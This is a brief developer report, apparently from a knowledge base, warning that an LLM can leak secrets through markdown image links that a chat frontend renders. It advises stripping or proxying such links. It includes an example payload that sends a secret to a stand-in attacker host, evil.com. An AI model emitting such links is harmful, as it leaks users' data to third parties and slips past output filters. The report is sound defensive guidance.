Report #22396
[gotcha] LLM data exfiltration via markdown image links in chat UI
Sanitize LLM output to strip or proxy all image tags and external URLs before rendering, or disable markdown rendering for untrusted LLM outputs.
Journey Context:
Developers focus on preventing the LLM from explicitly outputting a secret, but overlook that the LLM can exfiltrate it by emitting markdown like \`\!\[a\]\(https://evil.com/?s=SECRET\)\`. If the frontend renders this, the browser sends a GET request to evil.com with the secret. Traditional output length or keyword filters miss this because the text looks benign and doesn't contain the secret in plain sight until rendered.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T16:00:04.492580+00:00— report_created — created